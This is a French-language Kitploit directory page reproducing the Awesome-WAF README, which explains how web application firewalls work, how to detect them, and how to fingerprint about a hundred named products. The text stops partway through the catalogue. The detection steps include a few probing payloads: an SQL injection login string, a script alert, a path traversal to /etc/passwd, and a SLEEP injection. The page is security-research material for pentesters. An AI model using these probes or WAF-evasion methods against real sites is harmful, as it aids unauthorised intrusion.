Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Awesome-WAF — Tout sur les pare-feu d'applications Web (WAF) d'un point de vue sécurité ! 🔥 | Kitploit
Outils/GitHubGitHub/0xinfection/awesome-waf
Contournement de WAFSécurité WebApprentissage et ÉducationRessources Organisées
GitHub0xinfection/awesome-waf

Awesome-WAF

Tout sur les pare-feu d'applications Web (WAF) d'un point de vue sécurité ! 🔥

Voir le dépôt
7.6k1.2kil y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Awesome WAF Awesome

Tout sur les pare-feu applicatifs (WAFs) d'un point de vue sécurité. 🔥

Préface : Ceci était à l'origine ma collection personnelle sur les WAFs. Je la rends open-source dans l'espoir qu'elle sera utile aux pentesters et aux chercheurs. Comme le dit le proverbe, "la communauté apprend les uns des autres".

Logo principal

Une définition concise : Un pare-feu est un point d'application de la politique de sécurité placé entre une application web et le point de terminaison client. Cette fonctionnalité peut être implémentée sous forme logicielle ou matérielle, fonctionnant sur un appareil dédié, ou sur un serveur classique utilisant un système d'exploitation standard. Il peut s'agir d'un appareil autonome ou intégré à d'autres composants réseau. (Source : PCI DSS IS 6.6)

Un pare-feu applicatif web se situe entre un utilisateur et une application web et a pour tâche d'empêcher toute activité malveillante d'atteindre l'application. Un WAF filtre la partie malveillante de la requête ou la bloque simplement.

N'hésitez pas à contribuer.

Sommaire :

  • Introduction
    • Comment fonctionnent les WAF
    • Modes de fonctionnement
  • Méthodologie de test
    • Où chercher
    • Techniques de détection
  • Empreintes des WAF
  • Techniques d'évasion
    • Fuzzing/Bruteforcing
    • Regex Reversing
    • Obfuscation/Encodage
    • Bugs de navigateur
    • Usurpation d'en-tête HTTP
    • Approche des Google Dorks
  • Bypasses connus
  • Outils géniaux
    • Empreinte
    • Test
    • Évasion
  • Blogs et comptes rendus
  • Présentations vidéo
  • Présentations de recherche et articles
    • Articles de recherche
    • Diapositives de présentation
  • Licence et crédits

Introduction :

Comment fonctionnent les WAF :

  • En utilisant un ensemble de règles pour distinguer les requêtes normales des requêtes malveillantes.
  • Parfois, ils utilisent un mode d'apprentissage pour ajouter automatiquement des règles en apprenant le comportement des utilisateurs.

Modes de fonctionnement :

  • Modèle négatif (basé sur une liste noire) - Un modèle de liste noire utilise des signatures prédéfinies pour bloquer les requêtes clairement malveillantes. Les signatures des WAF fonctionnant en modèle négatif sont spécifiquement conçues pour prévenir les attaques exploitant certaines vulnérabilités des applications web. Les pare-feu applicatifs web à modèle de liste noire sont un excellent choix pour les applications web exposées à l'internet public et sont très efficaces contre les vulnérabilités majeures. Ex. : Règle pour bloquer toutes les entrées <script>*</script> empêche les attaques XSS de base.
  • Modèle positif (basé sur une liste blanche) - Un modèle de liste blanche n'autorise le trafic web que selon des critères spécifiquement configurés. Par exemple, il peut être configuré pour n'autoriser que les requêtes HTTP GET provenant de certaines adresses IP. Ce modèle peut être très efficace pour bloquer d'éventuelles attaques à grande échelle, mais bloquera également beaucoup de trafic légitime. Les pare-feu à modèle de liste blanche sont probablement les meilleurs pour les applications web sur un réseau interne conçues pour être utilisées uniquement par un groupe restreint de personnes, comme les employés.
  • Modèle mixte/hybride (modèle inclusif) - Un modèle de sécurité hybride combine à la fois liste blanche et liste noire. Selon toutes sortes de spécificités de configuration, les pare-feu hybrides peuvent être le meilleur choix pour les applications web sur réseaux internes et les applications web sur l'internet public. Un bon scénario est lorsque l'application web est exposée à l'internet public (utiliser des listes noires) tandis que le panneau d'administration doit être exposé à un sous-ensemble d'utilisateurs (utiliser des listes blanches).

Méthodologie de test :

Où chercher :

  • Recherchez toujours les ports courants qui exposent la présence d'un WAF, notamment les ports 80, 443, 8000, 8080 et 8888. Cependant, il est important de noter qu'un WAF peut être facilement déployé sur n'importe quel port hébergeant un service HTTP. Il est bon d'énumérer d'abord les ports de service HTTP, puis de rechercher les WAF.
  • Certains WAF définissent leurs propres cookies dans les requêtes (par exemple, Citrix Netscaler, Yunsuo WAF).
  • Certains s'associent à des en-têtes séparés (par exemple, Anquanbao WAF, Amazon AWS WAF).
  • D'autres modifient souvent les en-têtes et brouillent les caractères pour confondre l'attaquant (par exemple, Netscaler, Big-IP).
  • Certains s'exposent dans l'en-tête Server (par exemple, Approach, WTS WAF).
  • Certains WAF s'exposent dans le contenu de la réponse (par exemple, DotDefender, Armor, Sitelock).
  • D'autres WAF répondent avec des codes de réponse inhabituels lors de requêtes malveillantes (par exemple, WebKnight, 360 WAF).

Techniques de détection :

Pour identifier les WAF, il faut (simuler de) provoquer.

  1. Faire une requête GET normale depuis un navigateur, intercepter et enregistrer les en-têtes de réponse (notamment les cookies).
  2. Faire une requête depuis la ligne de commande (par exemple, cURL), et tester le contenu et les en-têtes de la réponse (sans user-agent inclus).
  3. Faire des requêtes GET vers des ports ouverts aléatoires et récupérer les bannières qui pourraient révéler l'identité du WAF.
  4. Sur les pages de connexion, injecter des charges utiles courantes (facilement détectables) comme " or 1 = 1 --.
  5. Injecter des charges utiles bruyantes comme <script>alert()</script> dans les barres de recherche, les formulaires de contact et autres champs de saisie.
  6. Ajouter un ../../../etc/passwd factice à un paramètre aléatoire à la fin de l'URL.
  7. Ajouter des mots-clés accrocheurs comme ' OR SLEEP(5) OR ' à la fin des URL sur n'importe quel paramètre aléatoire.
  8. Faire des requêtes GET avec des protocoles obsolètes comme HTTP/0.9 (HTTP/0.9 ne prend pas en charge les requêtes de type POST).
  9. Souvent, le WAF modifie l'en-tête Server selon différents types d'interactions.
  10. Technique d'action Drop - Envoyer un paquet FIN/RST brut personnalisé au serveur et identifier la réponse.

    Astuce : Cette méthode peut être facilement réalisée avec des outils comme HPing3 ou Scapy.

  11. Attaques par canal auxiliaire - Examiner le comportement temporel de la requête et du contenu de la réponse.

Empreintes des WAF

Vous voulez identifier les WAF ? Voyons comment.

NOTE : Cette section contient des techniques manuelles de détection des WAF. Vous voudrez peut-être passer à la section suivante.





## Techniques d'évasion Examinons quelques méthodes pour contourner et éviter les WAF.
Télécharger l’outil

Astuce : Plus de détails peuvent être trouvés dans un article de blog ici.

WAFEmpreintes
360
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Renvoie le code d'état 493 lors de requêtes inhabituelles.
    • La page de blocage peut contenir une référence au répertoire wzws-waf-cgi/.
    • Le code source de la page de réponse bloquée peut contenir :
      • Référence à l'URL wangshan.360.cn.
      • Extrait de texte : Sorry! Your access has been intercepted because your links may threaten website security.
    • Les en-têtes de réponse peuvent contenir l'en-tête X-Powered-By-360WZB.
    • Les en-têtes de réponse bloquée contiennent l'en-tête unique WZWS-Ray.
    • L'en-tête Server peut contenir la valeur qianxin-waf.
aeSecure
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient l'image aesecure_denied.png (afficher la source pour voir).
    • Les en-têtes de réponse contiennent la valeur aeSecure-code.
Airlock
  • Détectabilité : Modérée/Difficile
  • Méthodologie de détection :
    • Les en-têtes Set-Cookie peuvent contenir :
      • Nom du champ cookie AL-SESS (insensible à la casse).
      • Valeur AL-LB (insensible à la casse).
    • La page de réponse bloquée contient :
      • Texte Server detected a syntax error in your request.
      • Extrait de texte Check your request and all parameters.
AlertLogic
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Extrait de texte We are sorry, but the page you are looking for cannot be found.
      • Texte The page has either been removed, renamed or temporarily unavailable.
      • 404 Not Found en lettres rouges.
Aliyundun
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Extrait de texte Sorry, your request has been blocked as it may cause potential threats to the server's security.
      • Référence à l'URL du site errors.aliyun.com.
    • Le code de réponse bloquée renvoyé est 405.
Anquanbao
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Renvoie le code de réponse HTTP bloqué 405 lors de requêtes malveillantes.
    • Le contenu de la réponse bloquée peut contenir /aqb_cc/error/ ou hidden_intercept_time.
    • Les en-têtes de réponse contiennent le champ d'en-tête X-Powered-by-Anquanbao.
Anyu
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient Sorry! your access has been intercepted by AnYu.
    • La page de réponse bloquée contient le texte AnYu- the green channel.
    • Les en-têtes de réponse peuvent contenir l'en-tête inhabituel WZWS-RAY.
Approach
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la page de réponse bloquée peut contenir :
      • Titre Approach Web Application Firewall Framework.
      • Avertissement Your IP address has been logged and this information could be used by authorities to track you.
      • Mot-clé Sorry for the inconvenience!.
      • Extrait de texte Approach infrastructure team.
    • L'en-tête Server a la valeur du champ définie sur Approach.
Armor Defense
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient :
      • Texte This request has been blocked by website protection from Armor.
      • Extrait If you manage this domain please create an Armor support ticket.
ArvanCloud
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé ArvanCloud.
ASPA
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé ASPA-WAF.
    • La réponse contient un en-tête unique ASPA-Cache-Status avec le contenu HIT ou MISS.
ASP.NET Generic
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir la valeur d'en-tête X-ASPNET-Version.
    • Le contenu de la page de réponse bloquée peut contenir :
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Mot-clé Error Code 0x00000000<.
    • L'en-tête X-Powered-By a la valeur du champ définie sur ASP.NET.
Astra
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la page de réponse bloquée peut contenir :
      • Sorry, this is not allowed. dans h1.
      • Extrait de texte our website protection system has detected an issue with your IP address and wont let you proceed any further.
      • Référence à l'URL www.getastra.com/assets/images/.
    • Les cookies de réponse ont la valeur de champ cz_astra_csrf_cookie dans les en-têtes de réponse.
AWS ELB
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir :
      • Valeur du champ cookie AWSALB.
      • En-tête X-AMZ-ID.
      • En-tête X-AMZ-REQUEST-ID.
    • La page de réponse peut contenir :
      • Access Denied dans leur mot-clé.
      • ID de jeton de requête avec une longueur de 20 à 25 entre la balise RequestId.
    • Le champ d'en-tête Server contient la valeur awselb/2.0.
Baidu Yunjiasu
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • L'en-tête Server peut contenir la valeur Yunjiasu-nginx.
    • L'en-tête Server peut contenir la valeur Yunjiasu.
Barikode
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la page de réponse bloquée contient :
      • Mot-clé BARIKODE.
      • Extrait de texte Forbidden Access dans h1.
Barracuda
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les cookies de réponse peuvent contenir la valeur barra_counter_session.
    • Les en-têtes de réponse peuvent contenir le mot-clé barracuda_.
  • La page de réponse contient :
    • Titre You have been blocked.
    • Texte You are unable to access this website.
Bekchy
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse bloquée contiennent Bekchy - Access Denied.
    • La page de réponse bloquée contient une référence à https://bekchy.com/report.
BinarySec
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent :
      • Champ X-BinarySec-Via.
      • Champ X-BinarySec-NoCache.
      • L'en-tête Server contient le mot-clé BinarySec.
BitNinja
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée peut contenir :
      • Extrait de texte Security check by BitNinja.
      • your IP will be removed from BitNinja.
      • Extrait de texte Visitor anti-robot validation.
      • Texte (You will be challenged by a reCAPTCHA page).
BIG-IP ASM
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir la valeur des mots-clés BigIP ou F5.
    • Les champs d'en-tête de réponse peuvent contenir l'en-tête X-WA-Info.
    • Les en-têtes de réponse peuvent avoir la valeur du champ X-Cnection mélangée.
BlockDos
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur BlockDos.net.
Bluedon IST
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur du champ BDWAF.
    • La page de réponse bloquée contient un extrait de texte Bluedon Web Application Firewall.
BulletProof Security Pro
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Un div avec l'id bpsMessage comme extrait de texte.
      • Extrait de texte If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.
CDN NS Application Gateway
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient l'extrait de texte CdnNsWAF Application Gateway.
Cerber (WordPress)
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Extrait de texte We're sorry, you are not allowed to proceed.
      • Avertissement Your request looks suspicious or similar to automated requests from spam posting software.
Chaitin Safeline
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient le mot-clé event_id dans les commentaires HTML.
ChinaCache
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le champ Powered-by-ChinaCache.
Cisco ACE XML Gateway
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • L'en-tête Server a la valeur ACE XML Gateway définie.
Cloudbric
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Le contenu de la réponse contient :
      • Titre Malicious Code Detected.
      • Extrait de texte Your request was blocked by Cloudbric.
      • Référence à l'URL https://cloudbric.zendesk.com.
      • Texte Cloudbric Help Center.
      • Titre de page commençant par Cloudbric | ERROR!.
Cloudflare
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent avoir la valeur du champ cf-ray.
    • Le champ d'en-tête Server a la valeur cloudflare.
    • Les en-têtes de réponse Set-Cookie ont le champ cookie __cfuid=.
    • Le contenu de la page peut avoir Attention Required! ou Cloudflare Ray ID:.
    • Le contenu de la page peut contenir DDoS protection by Cloudflare comme texte.
    • Vous pouvez rencontrer CLOUDFLARE_ERROR_500S_BOX en accédant à des URL invalides.
CloudfloorDNS
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le champ d'en-tête Server a la valeur CloudfloorDNS WAF.
    • Le titre de la page de blocage peut contenir CloudfloorDNS - Web Application Firewall Error.
    • Le contenu de la page peut contenir l'URL www.cloudfloordns.com/contact comme lien de contact.
Cloudfront
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient l'erreur Generated by cloudfront (CloudFront) lors d'une requête malveillante.
Comodo cWatch
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur Protected by COMODO WAF.
CrawlProtect
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les cookies de réponse peuvent contenir le nom de cookie crawlprotect.
    • Le titre de la page de blocage contient le mot-clé CrawlProtect.
    • Le contenu de la réponse bloquée contient la valeur
      This site is protected by CrawlProtect !!! lors d'une requête malveillante.
Deny-All
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • Le contenu de la réponse contient la valeur Condition Intercepted.
    • L'en-tête Set-Cookie contient le champ cookie sessioncookie.
Distil Web Protection
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent la valeur de champ X-Distil-CS dans toutes les requêtes.
    • La page de réponse bloquée contient :
      • Titre Pardon Our Interruption....
      • Extrait de texte You have disabled javascript in your browser..
      • Texte Something about your browser made us think that you are a bot..
DoSArrest Internet Security
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent la valeur de champ X-DIS-Request-ID.
    • L'en-tête Server contient le mot-clé DOSarrest.
DotDefender
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient la valeur
      dotDefender Blocked Your Request.
    • Les en-têtes de réponse bloquée contiennent la valeur de champ X-dotDefender-denied.
DynamicWeb Injection Check
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse bloquée contiennent le champ X-403-Status-By avec la valeur dw-inj-check.
e3Learning Security
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé e3Learning_WAF.
EdgeCast (Verizon)
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient la valeur
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Le code de réponse bloquée renvoie 400 Bad Request sur les requêtes malveillantes.
Eisoo Cloud
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la page de réponse bloquée peut contenir :
      • Référence à /eisoo-firewall-block.css.
      • URL www.eisoo.com.
      • Mot-clé © (année) Eisoo Inc..
    • L'en-tête Server a la valeur du champ définie sur EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée renvoie généralement Invalid URI.
    • Le contenu de la réponse bloquée contient la valeur Invalid GET Request lors de requêtes GET malveillantes.
    • Les requêtes POST bloquées contiennent Invalid Data dans le contenu de la réponse.
F5 ASM
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • Le contenu de la réponse bloquée contient l'avertissement
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent FORTIWAFSID= sur les requêtes malveillantes.
    • La page de réponse bloquée contient :
      • Référence à l'icône d'image .fgd_icon.
      • Server Unavailable! comme titre.
      • Server unavailable. Please visit later. comme texte.
GoDaddy
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient la valeur
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Grey Wizard comme titre.
      • Extrait de texte Contact the website owner or Grey Wizard.
      • Extrait de texte We've detected attempted attack or non standard traffic from your IP address.
    • L'en-tête Server contient le mot-clé greywizard.
Huawei Cloud
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Référence à l'image d'erreur account.hwclouds.com/static/error/images/404img.jpg.
      • Référence à l'URL www.hwclouds.com.
      • Référence à l'e-mail hws_security@{site.tld} pour le signalement.
HyperGuard
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • L'en-tête Set-Cookie a le champ cookie ODSESSION= dans les en-têtes de réponse.
IBM DataPower
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent la valeur de champ X-Backside-Transport avec la valeur OK ou FAIL.
Imperva Incapsula
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la page de réponse bloquée peut contenir :
      • Extrait de texte Powered By Incapsula.
      • Mot-clé Incapsula incident ID.
      • Mot-clé _Incapsula_Resource.
      • Mot-clé subject=WAF Block Page.
    • Les en-têtes de requête GET normales contiennent la valeur visid_incap.
    • Les en-têtes de réponse peuvent contenir le nom de champ d'en-tête X-Iinfo.
    • L'en-tête Set-Cookie a les champs cookie incap_ses et visid_incap.
Imunify360
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé imunify360-webshield.
    • La page de réponse contient :
      • Extrait de texte Powered by Imunify360.
      • imunify360 preloader si le type de réponse est JSON.
    • La page de réponse bloquée contient le texte protected by Imunify360.
IndusGuard
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur IF_WAF.
    • Le contenu de la réponse bloquée contient l'avertissement
      further investigation and remediation with a screenshot of this page.
    • Les en-têtes de réponse contiennent un en-tête unique X-Version.
Instart DX
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent l'en-tête unique X-Instart-Request-ID.
    • Les en-têtes de réponse contiennent l'empreinte d'en-tête unique X-Instart-WL.
    • Les en-têtes de réponse contiennent l'empreinte d'en-tête unique X-Instart-Cache.
    • La page de réponse bloquée contient le texte The requested URL was rejected. Please consult with your administrator..
ISA Server
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse contient :
      • Extrait de texte The ISA Server denied the specified Uniform Resource Locator (URL).
      • Extrait de texte The server denied the specified Uniform Resource Locator (URL). Contact the server administrator..
Janusec Application Gateway
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée affiche une image avec le nom et le logo JANUSEC.
    • La page de réponse bloquée affiche Janusec Application Gateway sur les requêtes malveillantes.
Jiasule
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient une référence à l'URL static.jiasule.com/static/js/http_error.js.
    • L'en-tête Set-Cookie a le champ cookie _jsluid= ou jsl_tracking dans les en-têtes de réponse.
    • L'en-tête Server a les mots-clés jiasule-WAF.
    • Le contenu de la réponse bloquée a le mot-clé notice-jiasule.
KeyCDN
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé KeyCDN.
KnownSec
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée affiche l'image ks-waf-error.png (afficher la source pour voir).
KONA Site Defender (Akamai)
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé AkamaiGHost.
LiteSpeed
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server a la valeur définie sur LiteSpeed.
    • La page de réponse contient :
      • Texte Proudly powered by LiteSpeed Web Server.
      • Référence à http://www.litespeedtech.com/error-page
      • Access to resource on this server is denied.
Malcare
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • La page de réponse bloquée peut contenir :
      • Extrait de texte Blocked because of Malicious Activities.
      • Extrait de texte Firewall powered by MalCare.
MissionControl Application Shield
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le champ d'en-tête Server contient la valeur Mission Control Application Shield.
ModSecurity
  • Détectabilité : Modérée/Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Extrait de texte This error was generated by Mod_Security.
      • Extrait de texte One or more things in your request were suspicious.
      • Extrait de texte rules of the mod_security module.
      • Extrait de texte mod_security rules triggered.
      • Référence au répertoire /modsecurity-errorpage/.
    • L'en-tête Server peut contenir les mots-clés Mod_Security ou NYOB.
    • Parfois, le code de réponse à une attaque est 403 tandis que la phrase de réponse est ModSecurity Action.
ModSecurity CRS
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de blocage apparaît lors de l'ajout d'un en-tête de requête séparé X-Scanner lorsqu'il est défini à un niveau de paranoïa particulier.
NAXSI
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient This Request Has Been Blocked By NAXSI.
    • Les en-têtes de réponse contiennent le champ inhabituel X-Data-Origin avec la valeur du mot-clé naxsi/waf.
    • L'en-tête Server contient la valeur du mot-clé naxsi/waf.
    • La page de réponse bloquée peut contenir le code d'erreur NAXSI blocked information.
Nemesida
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient Suspicious activity detected. Access to the site is blocked..
    • Contient une référence à l'e-mail nwaf@{site.tld}
Netcontinuum
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les cookies de session contiennent le nom du champ cookie NCI__SessionId=.
NetScaler AppFirewall
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir
      • Le nom du champ d'en-tête Connection: modifié en nnCoection:
      • Nom du champ cookie ns_af=.
      • Nom du champ citrix_ns_id.
      • Mot-clé NSC.
      • Valeur du champ NS-CACHE.
NevisProxy
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les cookies d'en-tête de réponse contiennent le mot-clé Navajo.
NewDefend
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse contient :
      • Référence à l'URL http://www.newdefend.com/feedback/misinformation/.
      • Référence au répertoire /nd_block/.
    • L'en-tête Server contient le mot-clé NewDefend.
Nexusguard
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée a une référence à l'URL speresources.nexusguard.com/wafpage/index.html.
NinjaFirewall
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Le titre de la page de réponse contient NinjaFirewall: 403 Forbidden.
    • La page de réponse contient :
      • Extrait de texte For security reasons, it was blocked and logged.
      • Mot-clé NinjaFirewall dans le titre.
    • Renvoie une réponse 403 Forbidden sur les requêtes malveillantes.
NSFocus
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé NSFocus.
NullDDoS
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé NullDDoS System.
onMessage Shield
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le champ d'en-tête X-Engine avec la valeur onMessage Shield.
    • La page de réponse bloquée contient :
      • Mot-clé Blackbaud K-12 conducts routine maintenance.
      • This site is protected by an enhanced security system.
      • Référence à l'URL https://status.blackbaud.com.
      • Référence à l'URL https://maintenance.blackbaud.com.
OpenResty Lua WAF
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé openresty/{version}.
    • La page de réponse bloquée contient le texte openresty/{version}.
    • Le code de réponse bloquée renvoyé est 406 Not Acceptable.
Palo Alto
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • La page de réponse bloquée contient Virus/Spyware Download Blocked.
    • La page de réponse peut contenir l'extrait de texte Palo Alto Next Generation Security Platform.
PentaWAF
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé PentaWAF/{version}.
    • La page de réponse bloquée contient le texte PentaWAF/{version}.
PerimeterX
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient une référence à l'URL
      https://www.perimeterx.com/whywasiblocked.
pkSecurityModule IDS
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Le contenu de la réponse peut contenir
      • pkSecurityModule: Security.Alert.
      • Extrait de texte A safety critical request was discovered and blocked.
Positive Technologies Application Firewall
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient Forbidden dans h1 suivi de :
    • Request ID: au format yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir
      • En-tête Via avec le contenu powercdn.com.
      • En-tête X-Cache avec le contenu powercdn.com.
      • En-tête X-CDN avec le contenu PowerCDN.
Profense
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes Set-Cookie contiennent le nom du champ cookie PLBSID=.
    • L'en-tête Server contient le mot-clé Profense.
Proventia (IBM)
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée peut contenir une référence à l'extrait de texte request does not match Proventia rules.
Puhui
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé PuhuiWAF.
Qiniu CDN
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse peut contenir
      • Les en-têtes de réponse contiennent l'en-tête inhabituel X-Qiniu-CDN avec la valeur définie sur 0 ou 1.
Radware Appwall
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • La page de réponse contient les extraits de texte suivants :
      Unauthorized Activity Has Been Detected. et Case Number.
    • La page de réponse bloquée a une référence à l'e-mail radwarealerting@{site.tld}.
    • La page de réponse bloquée a le titre défini sur Unauthorized Request Blocked.
    • Les en-têtes de réponse peuvent contenir le nom du champ d'en-tête X-SL-CompState.
Reblaze
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les cookies dans les en-têtes de réponse contiennent le nom du champ d'en-tête rbzid=.
    • La valeur du champ Server peut contenir l'extrait de texte Reblaze Secure Web Gateway.
    • La page de réponse contient :
      • Access Denied (403) en gras.
      • Texte Current session has been terminated.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Un pare-feu trouvé spécifiquement sur les sites Web ASP.NET et aucun autre.
    • La page de réponse contient l'un des extraits de texte suivants :
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Le code de réponse bloquée renvoyé est toujours 500 Internal Error.
RSFirewall
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse contient :
      • Mot-clé COM_RSFIREWALL_403_FORBIDDEN.
      • Mot-clé COM_RSFIREWALL_EVENT.
Sabre
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Renvoie le code d'état 500 Internal Error lors de requêtes malveillantes.
    • Le contenu de la réponse a :
      • E-mail de contact [email protected].
      • Avertissement en gras Your request has been blocked.
      • Extrait de texte clicking the above email link will automatically add some important details to the email for us to investigate the problem.
Safe3
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent :
      • L'en-tête X-Powered-By a la valeur du champ Safe3WAF.
      • L'en-tête Server contient la valeur du champ définie sur Safe3 Web Firewall.
    • La page de réponse contient le mot-clé Safe3waf.
SafeDog
  • Détectabilité : Facile/Modérée
  • Méthodologie de détection :
    • L'en-tête Server dans la réponse peut contenir :
      • Mot-clé WAF/2.0.
      • Valeur du champ safedog.
SecKing
  • Détectabilité : Facile/Modérée
  • Méthodologie de détection :
